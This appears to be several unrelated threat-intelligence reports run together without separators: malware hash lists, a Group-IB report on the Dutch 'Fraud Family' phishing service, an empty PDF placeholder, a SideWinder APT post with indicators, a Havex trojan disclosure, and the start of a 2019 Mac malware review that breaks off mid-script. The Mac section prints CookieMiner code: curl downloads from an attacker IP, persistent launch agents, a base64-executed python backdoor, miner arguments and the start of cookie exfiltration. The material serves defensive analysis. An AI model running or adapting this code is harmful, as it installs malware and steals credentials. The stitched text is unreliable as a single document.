B6273B3D45F48E9531A65D0F44DFEE13 ### Generic pipe backdoors - 181c84e45abf1b03af0322f571848c2d - 2e460fd574e4e4cce518f9bc8fc25547 - 1f6ba85c62d30a69208fe9fb69d601fa ### Null session pipes backdoor - F3B9C454B799E2FE6F09B6170C81FF5C - 0C12E834187203FBB87D0286DE903DAB - 72B03ABB87F25E4D5A5C0E31877A3077 - 76DB7E3AF9BE2DFAA491EC1142599075 - 5D41719EB355FDF06277140DA14AF03E - A277F018C2BB7C0051E15A00E214BBF2 ### Pipe and internet backdoor - 0C4A971E028DC2AE91789E08B424A265 - 44C2FA487A1C01F7839B4898CC54495E - F01DC49FCE3A2FF22B18457B1BF098F8 - F59813AC7E30A1B0630621E865E3538C - CA05D537B46D87EA700860573DD8A093 - 01AC1CD4064B44CDFA24BF4EB40290E7 - 1511F3C455128042F1F6DB0C3D13F1AB - 57C48B6F6CF410002503A670F1337A4B - EDB9E045B8DC7BB0B549BDF28E55F3B5 ### Core platform (LUA VFS) - 71EB97FF9BF70EA8BB1157D54608F8BB - 2F49544325E80437B709C3F10E01CB2D - 7261230A43A40BB29227A169C2C8E1BE - FC77B80755F7189DEE1BD74760E62A72 - A5588746A057F4B990E215B415D2D441 ### MyTrampoline - 5DDD5294655E9EB3B9B2071DC2E503B1 ### Bus manager - 5DDD5294655E9EB3B9B2071DC2E503B1 - 2A8785BF45F4F03C10CD929BB0685C2D - F0E0CBF1498DBF9B8321D11D21C49811 - AC8072DFDA27F9EA068DCAD5712DD893 - 2382A79F9764389ACFB4CB4692AA044D - 85EA0D79FF015D0B1E09256A880A13CE - 4728A97E720C564F6E76D0E22C76BAE5 - B98227F8116133DC8060F2ADA986631C - D2065603EA3538D17B6CE276F64AA7A - FCD1A80575F503A5C4C05D4489D78FF9 - EB8D5F44924B4DF2CE4A70305DC4BD59 - 17DEB723A16856E72DD5C1BA0DAE0CC7 - B6FE14091359399C4EA572EBF645D2C5 - C8C30989A25C0B2918A5BB9FD6025A7A - 814CA3A31122D821CD1E582ABF958E8F ### Network Sniffer - 951EBE1EE17F61CD2398D8BC0E00B099
# The Fraud Family **Fraud-as-a-Service operation targeting Dutch residents** **Roberto Martinez** Senior Threat Intelligence Analyst at Group-IB Europe **Anton Ushakov** Deputy Head of the High-Tech Crime Investigation Department at Group-IB Europe ## Introduction Since the beginning of 2020, Dutch and Belgian residents have been increasingly targeted by financially motivated cybercriminals looking to obtain access to their bank accounts. In many strikingly similar cases, fraudsters reach out to victims via email, SMS, or WhatsApp messages to deliver fake notifications containing malicious links pointing to a phishing site. The phishing pages, detected by Group-IB Threat Intelligence & Attribution system, are almost identical and disguised to look like legitimate banking websites of the biggest local financial organizations with the goal of tricking unsuspecting victims into providing their personal and banking information. Having analyzed the technical infrastructure and phishing templates used in these fraudulent campaigns, Group-IB Threat Intelligence and Cyber Investigations teams uncovered a massive Fraud-as-a-Service operation. Our researchers identified a Dutch-speaking criminal syndicate, codenamed Fraud Family by Group-IB, which develops, sells, and rents sophisticated phishing frameworks to other cybercriminals targeting users mainly in the Netherlands and Belgium. The phishing frameworks allow attackers with minimal skills to optimize the creation and design of phishing campaigns to carry out massive fraudulent operations all the while bypassing 2FA. Fraud Family advertises their services and interacts with fellow cybercriminals on Telegram messenger. The criminal syndicate is likely to be active since at least 2020. However, phishing kits similar to those advertised by the group were already used to target Dutch residents as early as 2018. Group-IB shared its findings with the Dutch Police immediately upon discovery and notified the organizations whose names are being abused by fraudsters. The probe initiated as a consequence resulted in the arrest of two individuals by the Dutch Police. The arrested suspects, a 24-year-old man and a 15-year-old man, are thought to be the developer and seller of the Fraud Family phishing framework. The 24-year-old suspect will be arraigned before the examining magistrate in Rotterdam on Friday, July 23, while his 15-year-old accomplice has since been released pending further investigation. The blog post analyzes the methods and techniques used by Fraud Family's shady customers, Fraud Family's technical infrastructure, and their phishing panels. Group-IB researchers also described how Fraud Family attracts customers and interacts with fellow criminals. The post provides comprehensive recommendations to regular users on how not to fall prey to this type of attack. ## Fraudulent journey A typical attack of fraudsters who use Fraud Family's phishing infrastructure starts with an email, SMS, or WhatsApp message impersonating a real company. The examples below are fraudsters' emails and SMS masked as legitimate messages from a local company that connects home seekers with the housing supply. Such messages can be both targeted or sent out to multiple contacts at once. The victims' contact details are usually obtained from leaked databases or from other criminals that specialize in providing compromised personal information for social engineering attacks. The tactic of using well-known brands allows fraudsters to gain users' immediate trust. These fake notifications contain malicious links to adversary-controlled payment info-stealing phishing websites. Another tactic that we observed recently is when fraudsters contact a seller on a Dutch classified advertising platform pretending to be a buyer. The miscreants first move the conversation to a third-party messenger, WhatsApp in this case, and then proceed to ask the seller to make a small payment using an e-commerce payment system used in the Netherlands, to "verify the seller is not a scammer." The real scammer provides a payment link that is none other than a phishing site. This method was well documented by Opgelicht?! The phishing website impersonates a well-known marketplace first, then pretends to use Dutch e-commerce payment system to handle the payment and finally lands on the fake banks' pages. After the seller, now a victim, clicks on the phishing site they get to select which bank they would like to use to send the "small payment." These phishing websites offer a high level of personalization. Once the victim selects a bank from the list, which includes all known local financial organizations, a very convincing online banking interface will be shown asking for their banking credentials: username and password or the bank card number, depending on what they need to access a particular bank account. The developers of these phishing kits made sure their customers, fellow cybercriminals, could bypass 2FA. The crooks who use this phishing infrastructure get access to a web panel that interacts, in real time, with the phishing site. When victims submit their banking credentials, the phishing site sends them to the fraudster-controlled web panel. This one actually notifies the miscreants that a new victim is online. The scammers can then request additional information that will help them to gain access to the bank accounts, including two-factor authentication tokens and personal identifiable information. While the phishing site is waiting for further instructions from the attackers, the unsuspecting victim is looking at a "Please wait…" screen. Group-IB researchers discovered that many of these phishing pages have been developed and supported by a single Dutch-speaking cybercriminal collective, codenamed Fraud Family. In the next section, we take a deep dive into Fraud Family's business model, modus operandi, and technical analysis of the gang's infrastructure. ## Fraud Family's business Members of the Fraud Family developed a sophisticated fraud-as-a-service infrastructure resilient to conventional takedown efforts. This infrastructure combines ready-to-use phishing frameworks, domains, and hosting services that Fraud Family takes care of for less skilled cyber crooks. The phishing frameworks allow attackers with minimal skills to optimize the creation and design of phishing campaigns to carry out automated fraudulent operations on a mass scale. Phishing frameworks include phishing kits — tools and resources used to steal information — and web panels that allow cybercriminals to interact with the actual phishing site in real time and are used to collect and manage the stolen user data. The complete "plug and play" phishing service keeps the framework under control and prevents it from leaking to the public. Members of the Fraud Family actively use Telegram as a way to advertise their services to other less skilled fraudsters. These services include the sale of phishing tools or the rent of "ready to use" infrastructure that comes equipped with the phishing framework and anti-bot tools to prevent crawlers, automated analysis tools and services like VirusTotal and URLScan, and researchers from accessing the phishing sites. Any fraudster can rent the Express Panel for €200 per month or the Reliable Panel for €250. Group-IB cyber investigations team discovered at least 8 Telegram channels operated by the Fraud Family gang. The whole network of channels has close to 2,000 subscribers. Their most popular group has 640 members. According to Group-IB assessment, half of these users could be actual buyers. Group-IB's research revealed that there are many cybercriminals who are using Telegram to offer phishing frameworks that include fake Dutch and Belgian banks pages and web panels for managing these sites. Many of those plug and play frameworks are being offered with different names and variations. Deeper analysis showed that the majority of such phishing web panels traded on Telegram are based on U-Admin, which is the panel initially developed by Ukrainian threat actor nicknamed Kaktys. According to Group-IB's findings, all of the panels designed to target customers of the Dutch and Belgian banks are different versions, or forks, of U-Admin. It turned out that the market of phishing frameworks in the Netherlands and Belgium is being dominated by the Fraud Family. The gang tunes and customizes phishing frameworks like U-Admin and gives them new names. The most common name given to the panels modified by Fraud Family is NL Multipanel. Two more panels being offered for sale, or rent by Fraud Family are Express Panel and Reliable Panel, developed by the syndicate in 2021. Group-IB found that the attacks that rely on Fraud Family's infrastructure increased toward the final months of 2020. This trend continues in 2021 with the appearance of Express Panel and Reliable Panel. The conclusion about the growth of their operations has been drawn from the fact that Group-IB researchers detected more posts and discussion about Fraud Family's business on Telegram. ## NL Multipanel NL Multipanel is almost fully based on U-Admin panel, which is offered to a wide range of Exploit.in forum users. NL Multipanel got its name after being refined and customized by members of Fraud Family to fit the Dutch cybercriminal scene. With U-Admin comes a plugin called Token. Because this plugin allows the attackers to interact with their victims in real time, it is the one used to target clients of banks that use any sort of multi-factor authentication. When a new victim is online, the attackers use O-Panel to execute a number of operations. This is useful to request any information needed from the victims. While the miscreants use and request new data, victims are waiting for the phishing site to show a new screen asking for this information. ## Express Panel Presumably, this made its public appearance in November 2020. Some of its features include: - It is not based on U-Admin and sellers make sure to advertise that well. - A very light panel, with a simple user interface. - Optimized to be used with a mobile phone. - Allows live interaction with victims. ## Reliable Panel It was developed in parallel to the Express Panel by the same developer and also made its public appearance in November 2020. New features provided by sellers include: - Developed from scratch and based on Nodejs instead of PHP. - "Lifetime" of about 2 weeks (average time from deployment to take-down). - Faster than NL Multipanel and its variants. - Fully customizable. - Allows live interaction with victims. Reliable Panel removed many of the weaknesses U-Admin has and is especially crafted for the Dutch and Belgian markets. This phishing framework has the potential to become one of the main tools Dutch cybercriminals can count on. ## Conclusion Group-IB is actively and closely monitoring the attacks that involve Fraud Family's infrastructure and provides information obtained from them to affected organizations whose brands are being abused by the fraudsters, including leading Dutch financial organizations to help them minimize the amount of fraudulent activity. Group-IB is collaborating with the Dutch Police and also providing information to them on the alleged identities of the Fraud Family members. In order to help regular users avoid falling prey to Fraud Family's affiliates, Group-IB team prepared a set of simple recommendations: - Always be cautious and fully aware of anything sent to you, even if you think it may be legitimate. - Do not click on any links that you are not 100% confident are real. - Double check the address of a website is the official one before you submit any information. - If the link comes from someone you know, confirm with that person using another way of communication. - Contact the organization which sent you a link to confirm they have really sent you that message. - If in doubt, use services like URLScan or VirusTotal to quickly scan the URL you have been sent, and look for red flags. - If you think you may be a victim of a phishing attack, quickly communicate with your bank, the organization being impersonated by the fraudsters, and the police. They can issue an alert which may ultimately raise awareness and reduce the victim count. - Keep in mind that usually official organizations do not use URL shorteners, so links leading to bit.ly, s.id, tny.sh and others, are very suspicious and you should double check the final destination. - Report any identified phishing email or SMS to fraudehelpdesk.nl, scamadviser.com. These reports aid cybersecurity professionals to investigate and take action against fraudulent websites, in addition to helping protect other victims.
# 404 Keylogger Campaigns Enter the password to open this PDF file: **File name:** **File size:** **Title:** **Author:** **Subject:** **Keywords:** **Creation Date:** **Modification Date:** **Creator:** **PDF Producer:** **PDF Version:** **Page Count:** **Page Size:** **Fast Web View:** Preparing document for printing… 0%
# Renewed SideWinder Activity in South Asia A few months ago, Trend Micro released a post which encapsulated the SideWinder APT group activity in the past year, showcasing SideWinder’s mobile malware development aspirations and spear phishing campaigns targeting the government and military of Nepal, the government of Afghanistan, the Myanma Posts and Telecommunications state-owned company, the Chinese Ministry of Foreign Affairs, and several other entities. The SideWinder APT, also tracked as RAZOR TIGER, APT-C-17, and Rattlesnake, is known to pick its targets in the South Asia region in multiple previous campaigns. SideWinder’s targets mainly consist of the countries of Nepal, Pakistan, Afghanistan, and China along with some other target countries from the group’s known past activity. This threat group is somewhat believed to be associated with Indian interests and seems to mainly choose to target government and military entities in its espionage attacks. While we were hunting through world scan data provided by BinaryEdge, we encountered an interesting server during our research which was hosting an executable file that led us on a path to uncover a renewed set of activity being conducted by the SideWinder group—picking right where they left off from in their previous year of operation. ## Key Findings: - The group renewed its spear phishing activity with new domains registered targeting government entities in Nepal. - Nepal recently cancelled its upcoming elections scheduled for 30 April and 10 May 2021. - Uncovered evidence of the group likely targeting Nepal's Election Commission. - Evidence of continued efforts of malware development being conducted by the group. ## Command and Control The server which was the initial point in our investigation was hosting the following shellcode we identified in the scan response we checked on port 8087. Outputting this raw data for initial analysis and triage, we managed to figure out this was most likely 2nd stage malware being used for Command and Control purposes through this server. As we continued our search throughout the server, we realized that it was also communicating with what looked to be 1st stage malware via port 8085. We think that such 1st stage malware is being used in SideWinder’s spear phishing attacks, and we suspect that a sample of one was uploaded in January to VirusTotal. Upon further search, we managed to find the 2nd stage payload that was being used by the group and hosted on this server via a simple text file encoded in Base64. After a straightforward decode, we were able to see the code used by the threat actor for the 2nd stage payload they are utilizing. We immediately had our assumption verified, as we were able to see that the server is being used for command and control purposes using a meterpreter-based payload written in Python. ### First Stage Payload An example of what we suspect this group is using that precedes the command and control infrastructure we first laid eyes on was this malware file uploaded to VirusTotal: We suspect that this actor is using malicious .hta files that are attached to emails containing links to decoy document lures along with embedded 1st stage malware inside the hta files. Here we see such an embedded link to a PE-file being disguised as a txt file being used to deploy spyware upon execution. Once this spyware is downloaded, the malware will check for the environment it’s running in and attempt to identify the infected machine’s IP address with an external HTTP request. Another Python-based malware, this specific sample runs in the background after execution and creates a database file of extracted logins from browser files, creates archived files of all of the infected machine's downloads, documents, and desktop files to a then daunting task of exfiltration. Immediately after execution, the malware attempts to steal files, writing the stolen browser data to a "Loginvault.db" file and .zip files using the folder location, the machine's IP address, and datestamp as the naming scheme. This spyware sample takes us directly to the spear phishing efforts we suspect SideWinder may be conducting while using similar malware techniques. ## Spear Phishing Another finding that we encountered while searching through the contents and configurations of this server were the decoy pages SideWinder is using to phish against their intended targets. When we looked at what was being hosted, we were surprised to find the server as a single staging point for a lot of the group’s phishing activity (on top of some mobile malware development efforts we cover further along in the post). The server we were investigating was using various dynamic DNS resolutions to the main IP address and resolving almost all of the domain names with naming schemes that mimic the naming convention of the real entities SideWinder are targeting. SideWinder is still very adamant at focusing their attention on the same entities they’ve previously attempted to target as showcased by Trend Micro’s report, while adding some additional in-country organizations to their target list. As of the last few weeks, it seems this group has renewed its activity and started to ramp up attack efforts against their targets of choice. For example, through our investigation of the server, we’ve managed to find that the group is renewing their efforts against government entities of Nepal and setting up phishing infrastructure to launch such campaigns. In our findings, it seems that SideWinder has added the Ministry of Physical Infrastructure and Transport of Nepal to their list of targets and are still actively trying to gain access to other government offices of the country. Another such target in Nepal is the Ministry of Foreign Affairs with a preceding lure intended on motivating the recipient to login with their credentials to be able to continue reading the decoy article planted by the threat actor. In this case, a press release by the Nepal Mission to the UN pertaining to the COVID-19 situation around the region, and human rights issues. A short while after accessing the link, the unsuspecting reader will be redirected to the Ministry’s login page. The phishing efforts being conducted by the group in this activity are reliant on the content delivery backbone of the actual target website to deliver all of the page's media and redirect to it once credentials are entered. Meaning the actor-controlled server just hosts basic phishing kits which use the target's own content delivery network to mimic the respective login panel which they are targeting. Some other decoy tricks that are being employed by the group in this campaign are error messages hardcoded in the phishing pages. Such as the one in a phishing page spoofing the Nepal central government email system. Or an additional one hardcoded in the phishing page targeting the Ministry of Defense. We imagine this is a social engineering tactic employed by the actor in efforts of achieving further enticement to enter login credentials by adding pretext to complete the action. We have also witnessed renewed attention in efforts against organizations such as the Nepal state-owned Nepal Telecom company, while continuing the techniques of utilizing the real website’s content backbone including the reCaptcha widget. As you can see, the SideWinder group is still very interested in targeting entities located in Nepal. With an additionally very interesting phishing page we managed to find being hosted on this server to what we think is also a current and new target focus for the group. This new phishing target seems to be the Election Commission of Nepal. As we've shown previously, the actor is again utilizing the same tactic of loading the content from the real government website and redirecting to it once credentials are entered. This finding is particularly interesting considering the fact that Nepal was meant to be having elections fast approaching in April and May of this year, only to be very recently overturned as of last week. Considering that these elections were only recently announced in the end of December 2020, we think that this proves as to some of the motivation behind the group’s renewed activity and new target focus as of the past couple of months. ## Conclusion There were a few other findings we gathered from this server which we decided not to blog about in this post as we didn't consider them much different from the phase of operations this group was at the end of last year. Like some which were connected to the mobile malware applications being developed by SideWinder, as this part of their operations seems to be still very much in the development and testing stage. We also can’t confirm that all of the phishing infrastructure we uncovered will indeed be infected with malware or have a preceding malicious payload once in use. Even with the proximity of the phishing pages residing on the same server with other malware, it remains unclear at this stage. Some of these pages may very well be used in single-purpose credential phishing campaigns. On the other hand, what we did cover in this post indicates how SideWinder is very much focused on conducting espionage operations against their target area of interest in South Asia. Taking into account what this group has done in the past year; we see that we should take this renewed activity as an indication that SideWinder will only continue to ramp up its activities in the rest of the upcoming months of 2021 and beyond. The group’s continued interest in Nepal serves as evidence to that. We can only speculate that regional developments such as the potential elections in countries of the region, geopolitical tensions such as the military clashes in the India-China border, international events mixed in with regional efforts such as COVID-19 vaccine distribution, and other regional interests will only continue to fuel such campaigns conducted by the group in South Asia. We should anticipate more of such spear phishing activity and further development of their malware and specific mobile malware capabilities to launch such campaigns against the group’s targets of interest. ## Indicators of Compromise - mail-ntcnetnp.serveftp[.]com - mail.aop.gavaf[.]org - mail.nepal.gavnp[.]org - mail.ncp.gavnp[.]org - mail-mofa.hopto[.]org - mail-mofagovpk.myftp[.]org - mail-mopitgovnp.hopto[.]org - webmail-accbt.hopto[.]org - mail-opmcmgavnp.hopto[.]org - mail-nepalpolgavnp.hopto[.]org - mail-apfgavnp.hopto[.]org - mail-meagovmv.hopto[.]org - microsoft-winupdate.servehttp[.]com - changeworld.hopto[.]org - teamchat.hopto[.]org - 45.153.240[.]66 - 680196722f65117a62cb3738f390e3552ffafcd663e85b7a81965f55462be994 - 0c182b51ff1dffaa384651e478155632c6e65820322774e416be20e6d49bb8f9 - 66dcaaa42e3f36f0560af741017c13c528758140f0f7f4260b9213739ffd9e70 - ddc19d1421e2eed9c606c4249fab0662f1253e441da2f1285242cb03d5be5b32 - f120cb306cb9e2cc0fbfb47e6bd4fdf2a3eea0447a933bc922f33ff458b43a86 - fd48c8ae2753bb729ed26535726459f6c19e598fd270eaaa5c14f4d51ce348d5
# Full Disclosure of Havex Trojans I did a talk on "SCADA Network Forensics" at the 4SICS conference last week, where I disclosed the results from my analysis of the Havex RAT/backdoor. The Havex backdoor is developed and used by a hacker group called Dragonfly, who are also known as "Energetic Bear" and "Crouching Yeti". Dragonfly is an APT hacker group, who have been reported to specifically target organizations in the energy sector as well as companies in other ICS sectors such as industrial/machinery, manufacturing, and pharmaceutical. In my 4SICS talk, I disclosed a previously unpublished comprehensive view of ICS software that has been trojanized with the Havex backdoor, complete with screenshots, version numbers, and checksums. Dale Petersen, founder of Digital Bond, expressed the following request regarding the lack of public information about the software trojanized with Havex: > If the names of the vendors that unwittingly spread Havex were made public, the wide coverage would likely reach most of the affected asset owners. Following Dale's request, we decided to publish the information presented at 4SICS also in this blog post, in order to reach as many affected asset owners as possible. The information published here is based on our own sandbox executions of Havex malware samples, which we have obtained via CodeAndSec and malwr.com. In addition to what I presented at 4SICS, this blog post also includes new findings published by Joel "scadahacker" Langill in version 2.0 of his Dragonfly white paper, which was released just a couple of hours after my talk. In Symantec's blog post about Havex, they write: > Three different ICS equipment providers were targeted and malware was inserted into the software bundles. ## Trojanized MESA Imaging driver The first vendor known to have their software trojanized by the Dragonfly group was the Swiss company MESA Imaging, who manufacture industrial grade cameras for range measurements. - **Company:** MESA Imaging - **Product:** Swiss Ranger version 1.0.14.706 (libMesaSR) - **Filename:** SwissrangerSetup1.0.14.706.exe - **Exposure:** Six weeks in June and July 2013 (source: Symantec) - **Backdoor:** Sysmain RAT - **MD5:** e027d4395d9ac9cc980d6a91122d2d83 - **SHA256:** 398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 ## eWON / Talk2M The second vendor to have their software trojanized was the Belgian company eWON, who provide a remote maintenance service for industrial control systems called “Talk2M”. eWON published an incident report in January 2014 and then a follow-up report in July 2014 saying: > Back in January 2014, the eWON commercial web site www.ewon.biz had been compromised. A corrupted eCatcherSetup.exe file had been uploaded into the CMS (Content Management System) of www.ewon.biz web site. eCatcher download hyperlinks were rerouted to this corrupted file. The corrupted eCatcherSetup.exe contained a malware which could, under restricted conditions, compromise the Talk2M login of the infected user. - **Company:** eWON - **Product:** Talk2M eCatcher version 4.0.0.13073 - **Filename:** eCatcherSetup.exe - **Exposure:** Ten days in January 2014, 250 copies downloaded (source: Symantec) - **Backdoor:** Havex 038 - **MD5:** eb0dacdc8b346f44c8c370408bad4306 - **SHA256:** 70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 Prior to version 2.0 of Joel's Dragonfly report, eCatcher was the only product from eWON known to be infected with the Havex backdoor. However, Joel's report also listed a product called “eGrabit”, which we managed to obtain a malware sample for via malwr.com. - **Company:** eWON - **Product:** eGrabIt 3.0.0.82 (version 3.0 Build 82) - **Filename:** egrabitsetup.exe - **Exposure:** unknown - **Backdoor:** Havex RAT 038 - **MD5:** 1080e27b83c37dfeaa0daaa619bdf478 - **SHA256:** 0007ccdddb12491e14c64317f314c15e0628c666b619b10aed199eefcfe09705 ## MB Connect Line The most recent company known to have their software infected with the Havex backdoor was the German company MB Connect Line GmbH, who are known for their industrial router mbNET and VPN service mbCONNECT24. MB Connect Line published a report about the Dragonfly intrusion in September 2014, where they write: > On 16th of April 2014 our website www.mbconnectline.com has been attacked by hackers. The files mbCHECK (Europe), VCOM_LAN2 and mbCONFTOOL have been replaced with infected files. These files were available from 16th of April 2014 to 23th of April 2014 for download from our website. All of these files were infected with the known Trojan Virus Havex Rat. - **Company:** MB Connect Line GmbH - **Product:** mbCONFTOOL V 1.0.1 - **Filename:** setup_1.0.1.exe - **Exposure:** April 16 to April 23, 2014 (source: MB Connect Line) - **Backdoor:** Havex RAT 043 - **MD5:** 0a9ae7fdcd9a9fe0d8c5c106e8940701 - **SHA256:** c32277fba70c82b237a86e9b542eb11b2b49e4995817b7c2da3ef67f6a971d4a - **Company:** MB Connect Line GmbH - **Product:** mbCHECK (EUROPE) V 1.1.1 - **Filename:** mbCHECK.exe - **Exposure:** April 16 to April 23, 2014 (source: MB Connect Line) - **Backdoor:** Havex RAT 043 - **MD5:** 1d6b11f85debdda27e873662e721289e - **SHA256:** 0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 Notice how only mbCHECK for users in Europe was trojanized; there has been no report of the USA/CAN version of mbCHECK being infected with Havex. We have not been able to get hold of a malware sample for the trojanized version of VCOM_LAN2. - **Company:** MB Connect Line GmbH - **Product:** VCOM_LAN2 - **Filename:** setupvcom_lan2.exe - **Exposure:** April 16 to April 23, 2014 (source: MB Connect Line) - **Backdoor:** unknown - **MD5:** unknown - **SHA256:** unknown ## Conclusions on Havex Trojans The vendors who have gotten their software trojanized by Dragonfly are all European ICS companies (Switzerland, Belgium, and Germany). Additionally, only the mbCHECK version for users in Europe was infected with Havex, but not the one for US/Canada. These facts indicate that the Dragonfly / Energetic Bear threat actor seems to primarily target ICS companies in Europe. Next: Detecting Havex with NSM Read our follow-up blog post Observing the Havex RAT, which shows how to detect and analyze network traffic from ICS networks infected with Havex.
# The Mac Malware of 2019 👾 A comprehensive analysis of the year's new malware by: Patrick Wardle / January 1, 2020 Our research, tools, and writing are supported by the "Friends of Objective-See" such as: - CleanMy Mac X - Malwarebytes - Airo AV ## Background Goodbye, 2019! and hello 2020 …a new decade! 🥳 For the fourth year in a row, I’ve decided to put together a blog post that comprehensively covers all the new Mac malware that appeared during the course of the year. While the specimens may have been briefly reported on before (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2019 - in one place …yes, with samples of each malware for download! In this blog post, we're focusing on new Mac malware specimens or new variants that appeared in 2019. Adware and/or malware from previous years are not covered. However, at the end of this blog, I’ve included a brief section dedicated to these other threats, that includes links to detailed write-ups. For each malicious specimen covered in this post, we’ll identify the malware’s: - **Infection Vector**: how it was able to infect macOS systems. - **Persistence Mechanism**: how it installed itself, to ensure it would be automatically restarted on reboot/user login. - **Features & Goals**: what was the purpose of the malware? a backdoor? a cryptocurrency miner? etc. Also, for each malware specimen, I’ve added a direct download link, in case you want to follow along with our analysis or dig into the malware more! I’d personally like to thank the following organizations, groups, and researchers for their work, analysis, & assistance! - VirusTotal - The “malwareland” channel on the MacAdmins slack group. - @thomasareed / @morpheus______ / @philofishal / and others who choose to remain unnamed. ## Malware Analysis Tools & Tactics Throughout this blog, we’ll reference various tools used in analyzing the malware specimens. These include: - **ProcessMonitor**: Our user-mode (open-source) utility that monitors process creations and terminations, providing detailed information about such events. - **FileMonitor**: Our user-mode (open-source) utility monitors file events (such as creation, modifications, and deletions) providing detailed information about such events. - **WhatsYourSign**: Our (open-source) utility that displays code-signing information, via the UI. - **lldb**: The de-facto commandline debugger for macOS. Installed as part of Xcode. - **Hopper Disassembler**: A reverse engineering tool for macOS that lets you disassemble, decompile and debug your applications or malware specimens! If you’re interested in general Mac malware analysis techniques, check out the following resources: - “Lets Play Doctor: Practical OSX Malware Detection & Analysis” - “How to Reverse Malware on macOS Without Getting Infected” ## Timeline - **CookieMiner** (01/2019): A cryptominer that also steals user cookies and passwords, likely to give attackers access to victims' online accounts and wallets. - **Yort** (03/2019): A Lazarus group backdoor, targeting cryptocurrency businesses. - **Siggen** (04/2019): A macOS backdoor that downloads and executes (python) payloads. - **BirdMiner** (06/2019): A linux-based cryptominer that runs on macOS via QEMU emulation. - **Netwire** (06/2019): A fully-featured macOS backdoor, installed via a Firefox 0day. - **Mokes.B** (06/2019): A new variant of OSX.Mokes, a fully-featured macOS backdoor. - **GMERA** (09/2019): A Lazarus group trojan that persistently exposes a shell to remote attackers. - **Lazarus (unnamed)** (10/2019): An unnamed Lazarus group backdoor. - **Yort.B** (11/2019): A new variant of Yort, a Lazarus group backdoor, targeting cryptocurrency businesses. - **Lazarus Loader ("macloader")** (12/2019): A Lazarus group 1st-stage implant loader that is able to execute remote payloads, directly from memory. ## OSX.CookieMiner CookieMiner is a cryptominer that also steals user cookies and passwords, likely to give attackers access to victims' online accounts and wallets. **Download**: OSX.CookieMiner (password: infect3d) ### Infection Vector: Unknown Unit 42 (of Palo Alto Networks) who uncovered CookieMiner and wrote the original report on the malware, made no mention of the malware’s initial infection vector. However, a ThreatPost writeup states that: "[Jen Miller-Osborn](https://twitter.com/jadefh), deputy director of Threat Intelligence for Unit 42, told Threatpost that researchers are not certain how victims are first infected by the shell script, but they suspect victims download a malicious program from a third-party store." …as such, CookieMiner’s infection vector remains unknown. ### Persistence: Launch Agent As noted in Unit 42's report, `CookieMiner` persists two launch agents. This is performed during the first stage of the infection, via a shell script named `uploadminer.sh`: ```bash cd ~/Library/LaunchAgents curl -o com.apple.rig2.plist http://46.226.108.171/com.apple.rig2.plist curl -o com.proxy.initialize.plist http://46.226.108.171/com.proxy.initialize.plist launchctl load -w com.apple.rig2.plist launchctl load -w com.proxy.initialize.plist ``` The script, `uploadminer.sh`, downloads (via curl), two property lists into the `~/Library/LaunchAgents` directory. The first plist, `com.apple.rig2.plist`, persists a binary named `xmrig2` along with several commandline arguments: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...> <plist version="1.0"> <dict> <key>ProgramArguments</key> <array> <string>/Users/Shared/xmrig2</string> <string>-a</string> <string>yescrypt</string> <string>-o</string> <string>stratum+tcp://koto-pool.work:3032</string> <string>-u</string> <string>k1GqvkK7QYEfMj3JPHieBo1m...</string> </array> <key>RunAtLoad</key> <true/> <key>Label</key> <string>com.apple.rig2.plist</string> </dict> </plist> ``` As the `RunAtLoad` key is set to true in the launch agent property list, the `xmrig2` binary will be automatically launched each time the user (re)logs in. The second plist, `com.proxy.initialize.plist`, persists various inline python commands (that appear to execute a base64 encoded chunk of data): ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...> <plist version="1.0"> <dict> <key>Label</key> <string>com.proxy.initialize.plist</string> <key>ProgramArguments</key> <array> <string>python</string> <string>-c</string> <string>import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml...')); </string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> ``` As the `RunAtLoad` key is set to true in this property list as well, the python commands will be automatically (re)executed each time the user logs in. Does this look familiar? Yes! In fact, this is exactly how OSX.DarthMiner persisted. (We also covered OSX.DarthMiner in our “The Mac Malware of 2018” report). This is not a coincidence, as (was noted in the Unit 42 report): “[CookieMiner] has been developed from OSX.DarthMiner, a malware known to target the Mac platform.” ### Capabilities: Cryptomining, Cookie/Password Stealing, Backdoor CookieMiner is likely the evolution of OSX.DarthMiner. In our “The Mac Malware of 2018” report we noted that DarthMiner persists the well-known Empyre backdoor (via the `com.proxy.initialize.plist` file) and a cryptocurrency mining binary named `XMRig` (via `com.apple.rig.plist`). CookieMiner does this as well (though a 2 has been added to both the mining binary and plist): - `XMRig` -> `xmrig2` - `com.apple.rig.plist` -> `com.apple.rig2.plist` The persistently installed Empyre backdoor allows remote attacks to run arbitrary commands on an infected host. By examining the arguments passed to the persistent miner binary, `xmrig2` it appears to be mining the Koto cryptocurrency: ```xml <key>ProgramArguments</key> <array> <string>/Users/Shared/xmrig2</string> <string>-a</string> <string>yescrypt</string> <string>-o</string> <string>stratum+tcp://koto-pool.work:3032</string> <string>-u</string> <string>k1GqvkK7QYEfMj3JPHieBo1m...</string> </array> ``` The most interesting aspect of CookieMiner (and what differentiates it from OSX.DarthMiner) is its propensity for stealing! During their comprehensive analysis, Unit 42 researchers highlighted the fact that CookieMiner captures and exfiltrates the following: - (Browser) Cookies - (Browser) Passwords - iPhone messages (from iTunes backups) The cookie, password, and message stealing capabilities are likely implemented to allow attackers to bypass 2FA protections on victims' online cryptocurrency accounts: "By leveraging the combination of stolen login credentials, web cookies, and SMS data, based on past attacks like this, we believe the bad actors could bypass multi-factor authentication for these [cryptocurrency] sites. If successful, the attackers would have full access to the victim's exchange account and/or wallet and be able to use those funds as if they were the user themselves." -Unit 42 The methods to steal such information are not overly sophisticated, albeit sufficient. For example, to steal cookies from Safari, CookieMiner simply copies the `Cookies.binarycookies` file from the `~/Library/Cookies` directory, zips them up, and exfiltrates them to the attacker’s remote command & control server (46.226.108.171): ```bash cd ~/Library/Cookies if grep -q "coinbase" "Cookies.binarycookies"; 